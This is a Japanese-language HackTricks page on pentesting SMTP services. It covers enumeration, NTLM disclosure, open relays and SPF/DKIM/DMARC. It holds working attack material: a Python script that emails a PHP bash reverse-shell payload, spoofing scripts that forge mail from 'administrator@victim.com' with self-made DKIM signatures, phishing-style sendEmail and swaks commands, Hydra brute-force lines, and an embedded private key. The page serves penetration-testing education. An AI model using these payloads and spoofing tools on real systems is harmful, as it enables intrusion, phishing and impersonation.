hacktricks/network-services-pentesting/pentesting-smtp
2024-01-03 00:54:19 +00:00
..
README.md Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql- 2024-01-03 00:54:19 +00:00
smtp-commands.md Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql- 2024-01-03 00:54:19 +00:00

25,465,587 - SMTP/sのペネトレーションテスト

htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

DragonJAR Security Conferenceは、国際的なサイバーセキュリティイベントです。これは10年以上の歴史を持ち、2023年9月7日と8日にコロンビアのボゴタで開催されます。技術的な内容が豊富なイベントで、最新の研究がスペイン語で発表され、世界中のハッカーや研究者を引き付けます。 以下のリンクで今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!:

{% embed url="https://www.dragonjarcon.org/" %}

基本情報

SMTP (Simple Mail Transfer Protocol) は、メールの送信と受信に使用されるTCP/IPプロトコルです。しかし、受信側でメッセージをキューに入れる能力に限界があるため、通常はPOP3またはIMAPの2つのプロトコルのいずれかと組み合わせて使用されます。これらのプロトコルは、ユーザーがサーバーのメールボックスにメッセージを保存し、定期的にサーバーからダウンロードすることを可能にします。

言い換えると、ユーザーは通常、メールの送信にSMTPを使用し、メールの受信にはPOP3またはIMAPを使用するプログラムを使用します。Unixベースのシステムでは、sendmailが最も広く使用されているSMTPサーバーです。商用パッケージのSendmailにはPOP3サーバーが含まれています。Microsoft ExchangeにはSMTPサーバーが含まれており、POP3サポートを設定することもできます。 こちらから。

デフォルトポート: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAILヘッダー

もし被害者にメールを送らせる機会があれば(例えばウェブページのコンタクトフォームを通じて)、それを行ってください。なぜなら、メールのヘッダーを見ることで被害者の内部トポロジーについて学ぶことができるからです。

また、存在しないアドレスにメールを送ることでSMTPサーバーからメールを取得することもできますサーバーは攻撃者にNDNメールを送信します。ただし、許可されたアドレスからメールを送信することSPFポリシーを確認すること、そしてNDNメッセージを受信できることを確認してください。

さらに、異なる内容を送信することも試みるべきです。なぜなら、より興味深い情報をヘッダーで見つけることができるからです。例えば:X-Virus-Scanned: by av.domain.com
EICARテストファイルを送信するべきです。
AVを検出することは、既知の脆弱性を利用することを可能にするかもしれません。

基本的なアクション

バナーグラビング/基本的な接続

SMTP:

nc -vn <IP> 25

SMTPS

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

組織のMXサーバーを見つける

dig +short mx google.com

列挙

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM 認証 - 情報開示

サーバーが NTLM 認証Windowsをサポートしている場合、機密情報バージョンを取得できます。詳細はこちら

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

または、nmap プラグイン smtp-ntlm-info.nse を使用して自動化します

内部サーバー名 - 情報漏洩

一部のSMTPサーバーは、"MAIL FROM" コマンドが完全なアドレスなしで発行されると、送信者のアドレスを自動補完し、その内部名を漏洩します:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

スニッフィング

ポート25へのパケットからパスワードを嗅ぎ取れるか確認してください

認証ブルートフォース

ユーザー名ブルートフォース列挙

認証は常に必要ではありません

RCPT TO

$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
MAIL FROM:test@test.org
250 2.1.0 test@test.org... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
VRFY root
250 Super-User <root@myhost>
VRFY blah
550 blah... User unknown

EXPN

$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 <ed.williams@myhost>
EXPN sshd
250 2.1.5 sshd privsep <sshd@mail2>

自動ツール

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>

[**DragonJAR Security Conference は国際的なサイバーセキュリティイベントです**](https://www.dragonjarcon.org/) 10年以上の歴史を持ち、2023年9月7日と8日にコロンビアのボゴタで開催されます。技術的な内容が豊富で、世界中のハッカーや研究者を惹きつける最新の研究がスペイン語で発表されます。
以下のリンクから今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!:

{% embed url="https://www.dragonjarcon.org/" %}

## DSN Reports

**配信状況通知レポート**: 組織に**無効なアドレス**に**メール**を送信すると、組織はそのアドレスが無効であることを通知し、**あなたにメールを返送**します。返送されたメールの**ヘッダー**には、レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェア情報など、潜在的に**機密情報**が**含まれる**可能性があります。

## [コマンド](smtp-commands.md)

### Linuxコンソールからメールを送信
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.

Sincerely,
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Pythonを使ってメールを送信する

Pythonスクリプトでメールを送信する別の方法です

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

メールスプーフィング

このセクションのほとんどは、ネットワークセキュリティアセスメント 第3版から抜粋されています。

SMTPメッセージは簡単に偽装できるため、組織はSPFDKIMDMARC機能を使用して、不正なメールの送信を防ぎます。

これらの対策の完全なガイドhttps://seanthegeek.net/459/demystifying-dmarc/で見つけることができます。

SPF

{% hint style="danger" %} SPFは2014年に「非推奨」とされました。つまり、_spf.domain.comではなくdomain.comTXTレコードを作成し、同じ構文を使用します。
さらに、以前のspfレコードを再利用するために、"v=spf1 include:_spf.google.com ~all"のようなものがよく見られます。 {% endhint %}

Sender Policy FrameworkSPFは、メールを送信するホストが認証されているかどうかをMTAがチェックするメカニズムを提供します。
その後、組織は認証されたメールサーバーのリストを定義し、MTAはこのリストを照会して、メールが偽装されたものかどうかをチェックできます。
ドメイン名を代表してメールを送信することが許可されているIPアドレス/範囲、ドメインなどを定義するために、SPFレジストリには異なる"メカニズム"が表示されることがあります。

メカニズム

メカニズム 説明
ALL 常に一致します。以前のメカニズムによって一致しなかったすべてのIPに対して-allのようなデフォルト結果を使用します。
A ドメイン名に送信者のアドレスに解決できるアドレスレコードAまたはAAAAがある場合、一致します。
IP4 送信者が特定のIPv4アドレス範囲内にある場合、一致します。
IP6 送信者が特定のIPv6アドレス範囲内にある場合、一致します。
MX ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致しますつまり、メールはドメインの受信メールサーバーの1つから来ています
PTR クライアントのアドレスのドメイン名PTRレコードが指定されたドメイン内にあり、そのドメイン名がクライアントのアドレスに解決される場合フォワード確認リバースDNS、一致します。このメカニズムは推奨されず、可能であれば避けるべきです。
EXISTS 指定されたドメイン名が任意のアドレスに解決される場合、一致します解決されるアドレスに関係なく。これはめったに使用されません。SPFマクロ言語と組み合わせると、DNSBLクエリのようなより複雑な一致を提供します。
INCLUDE 別のドメインのポリシーを参照します。そのドメインのポリシーが合格する場合、このメカニズムは合格します。ただし、含まれるポリシーが失敗した場合、処理は続行されます。別のドメインのポリシーに完全に委任するには、リダイレクト拡張を使用する必要があります。
REDIRECT

リダイレクトは、SPFポリシーをホストする別のドメイン名へのポインターであり、同じメールインフラストラクチャを共有する多数のドメインで作業する場合に便利です。

リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。

また、メカニズムが一致した場合に行うべきことを示す クオリファイアを識別することも可能です。デフォルトでは、クオリファイア"+"が使用されます(したがって、任意のメカニズムが一致した場合、それは許可されていることを意味します)。
通常、各SPFポリシーの最後に
~all
または**-all**のようなものがあります。これは、送信者がSPFポリシーに一致しない場合、メールを信頼できないものとしてタグ付けする(~)か、メールを拒否する(-)かを示すために使用されます。

クオリファイア

各メカニズムは、以下の4つのクオリファイアのいずれかと組み合わせることができます

  • + 合格PASS結果のため。これは省略可能です。例えば、+mxmxと同じです。
  • ? 中立NEUTRAL結果で、ポリシーなしNONEと同じように解釈されます。
  • ~ チルダは、中立NEUTRALと失敗FAILの間のデバッグ支援のためのソフトフェイルSOFTFAILです。通常、SOFTFAILを返すメッセージは受け入れられますが、タグ付けされます。
  • - マイナスは失敗FAILで、メールは拒否されるべきです下記参照

以下の例では、google.comのSPFポリシーを読むことができます。最初のSPFポリシーが他のドメインのSPFポリシーを含んでいることに注意してください:

kali@kali:~$ dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

kali@kali:~$ dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

kali@kali:~$ dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

kali@kali:~$ dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

kali@kali:~$ dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

従来、正しいSPFレコードがない、または任意のSPFレコードがないドメイン名は偽装することが可能でした。現在有効なSPFレコードがないドメインからのメールは、おそらく自動的に拒否されるか、信頼できないとマークされます

ドメインのSPFをチェックするには、以下のようなオンラインツールを使用できます: https://www.kitterman.com/spf/validate.html

DKIM

DomainKeys Identified Mail (DKIM) は、送信されたメールが外部のMTAによって検証され、DNS経由でドメインの公開鍵を取得するメカニズムです。DKIMの公開鍵はドメインのTXTレコード内に保持されていますが、それを取得するにはセレクタとドメイン名の両方を知る必要があります。

その後、鍵を要求するには、メールヘッダー DKIM-Signature からドメイン名とセレクタが必要です。例: d=gmail.com;s=20120113

dig 20120113._domainkey.gmail.com TXT | grep p=
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC

Domain-based Message Authentication, Reporting & Conformance (DMARC) は、SPFとDKIMを拡張したメール認証方法です。ポリシーは、特定のドメインのメールを処理する方法と実行されたアクションについて報告する方法をメールサーバーに指示します。

DMARCレコードを取得するには、サブドメイン _dmarc を照会する必要があります

root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
_dmarc.yahoo.com.  1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"

root@kali:~# dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"

root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\;
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"

DMARCタグ

タグ名 目的
v プロトコルバージョン v=DMARC1
pct フィルタリングされるメッセージの割合 pct=20
ruf フォレンジックレポートのための報告URI ruf=mailto:authfail@example.com
rua 集約レポートのための報告URI rua=mailto:aggrep@example.com
p 組織ドメインのポリシー p=quarantine
sp ODのサブドメインのポリシー sp=reject
adkim DKIMのアライメントモード adkim=s
aspf SPFのアライメントモード aspf=r

サブドメインについては?

こちらから こちら
メールを送信する各サブドメインには、別々のSPFレコードが必要です。
以下は元々openspf.orgに掲載されていたもので、この種の情報については素晴らしいリソースでした。

悪魔の問題:サブドメインについては?

pielovers.demon.co.ukからメールが届いた場合、pieloversにSPFデータがなければ、一つ上のレベルでdemon.co.ukのSPFをテストすべきかいいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っている可能性があります。Demonのポリシーがデフォルトで全ての顧客に適用されることは理にかなっていません。Demonがそれを望むなら、各サブドメインにSPFレコードを設定できます。

SPF発行者へのアドバイスは次のとおりですAレコードまたはMXレコードを持つ各サブドメインまたはホスト名にSPFレコードを追加すべきです。

ワイルドカードのAレコードまたはMXレコードを持つサイトは、次の形式のワイルドカードSPFレコードも持つべきです* IN TXT "v=spf1 -all"

これは理にかなっています - サブドメインは地理的に異なる場所にある可能性があり、非常に異なるSPF定義を持っている可能性があります。

オープンリレー

送信されたメールがスパムフィルターによってフィルタリングされ、受信者に届かないようにするため、送信者は受信者が信頼するリレーサーバーを使用できます。しばしば、管理者はどのIP範囲を許可するかの概要を持っていません。これは、外部および内部のペネトレーションテストで今でもよく見つかるSMTPサーバーの誤設定につながります。したがって、彼らはメールトラフィックでエラーを引き起こさないようにすべてのIPアドレスを許可し、潜在的および現在の顧客とのコミュニケーションを妨げたり、意図せず中断したりしないようにします。

mynetworks = 0.0.0.0/0
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

ツール

偽装メールを送信

または、ツールを使用することもできます:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} dkim pythonライブラリを使用してキーの解析中にエラーが発生した場合、以下のものを自由に使用してください。
注意: これはopensslプライベートキーが何らかの理由でdkimによって解析できない場合に、迅速なチェックを行うための一時的な修正です。

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

手動で行うこともできます:

{% tabs %} {% tab title="PHP" %}

# これは署名されていないメッセージを送信します
mail("your_email@gmail.com", "テストの件名!", "ねえ!これはテストです", "From: administrator@victim.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

詳細情報

これらの保護に関する詳細情報はこちらで確認できます https://seanthegeek.net/459/demystifying-dmarc/

その他のフィッシング指標

  • ドメインの年齢
  • IPアドレスを指すリンク
  • リンク操作技術
  • 疑わしい(一般的でない)添付ファイル
  • 壊れたメールコンテンツ
  • メールヘッダーと異なる値の使用
  • 有効で信頼できるSSL証明書の存在
  • ページをウェブコンテンツフィルタリングサイトに提出すること

SMTPを通じたデータ流出

SMTP経由でデータを送信できる場合 これを読んでください

設定ファイル

Postfix

通常、インストールされている場合、/etc/postfix/master.cfには例えば新しいメールがユーザーによって受信されたときに実行するスクリプトが含まれています。例えば、flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}という行は、ユーザーmarkに新しいメールが受信された場合に/etc/postfix/filteringが実行されることを意味します。

他の設定ファイル:

sendmail.cf
submit.cf

HackTricks 自動コマンド

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>

[**DragonJAR Security Conference は国際的なサイバーセキュリティイベントです**](https://www.dragonjarcon.org/) 10年以上の歴史を持ち、2023年9月7日と8日にコロンビアのボゴタで開催されます。技術的な内容が豊富で、最新のスペイン語の研究が発表され、世界中のハッカーや研究者を惹きつけます。
以下のリンクから今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!:

{% embed url="https://www.dragonjarcon.org/" %}

<details>

<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>

HackTricksをサポートする他の方法:

* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れよう
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください。**
* **ハッキングのコツを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出してください。

</details>